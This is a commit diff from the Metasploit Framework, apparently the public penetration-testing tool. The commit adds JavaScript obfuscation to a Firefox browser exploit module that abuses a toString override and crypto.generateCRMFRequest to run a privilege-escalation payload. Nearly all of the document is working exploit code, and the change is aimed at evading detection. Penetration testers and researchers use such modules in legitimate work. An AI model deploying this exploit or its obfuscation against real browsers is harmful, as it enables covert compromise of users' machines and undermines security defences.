Skip to content

Commit fb1fe7c

Browse files
committed
Add some obfuscation.
1 parent b574a4c commit fb1fe7c

File tree

1 file changed

+27
-20
lines changed

1 file changed

+27
-20
lines changed

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 27 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'rex/exploitation/jsobfu'
78

89
class Metasploit3 < Msf::Exploit::Remote
910
Rank = ExcellentRanking
@@ -69,28 +70,34 @@ def on_request_exploit(cli, request, target_info)
6970
end
7071

7172
def generate_html(target_info)
72-
opts = {
73-
:payload => run_payload # defined in FirefoxPrivilegeEscalation mixin
74-
}
73+
key = Rex::Text.rand_text_alpha(5 + rand(12))
74+
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
75+
76+
js = Rex::Exploitation::JSObfu.new(%Q|
77+
var opts = #{JSON.unparse(opts)};
78+
var key = opts['#{key}'];
79+
var y = {}, q = false;
80+
y.constructor.prototype.toString=function() {
81+
if (q) return;
82+
q = true;
83+
crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");
84+
return 5;
85+
};
86+
console.time(y);
87+
|)
88+
89+
js.obfuscate
7590

7691
%Q|
77-
<!doctype html>
78-
<html>
79-
<body>
80-
<script>
81-
var opts = #{JSON.unparse(opts)};
82-
var y = {};
83-
y.constructor.prototype.toString=function() {
84-
if (window.q) return;
85-
window.q = true;
86-
crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, opts.payload, 1024, null, "rsa-ex");
87-
return 5;
88-
};
89-
console.time(y);
90-
</script>
91-
#{datastore['CONTENT']}
92-
</body>
93-
</html>
92+
<!doctype html>
93+
<html>
94+
<body>
95+
<script>
96+
#{js}
97+
</script>
98+
#{datastore['CONTENT']}
99+
</body>
100+
</html>
94101
|
95102
end
96103
end

0 commit comments

Comments
 (0)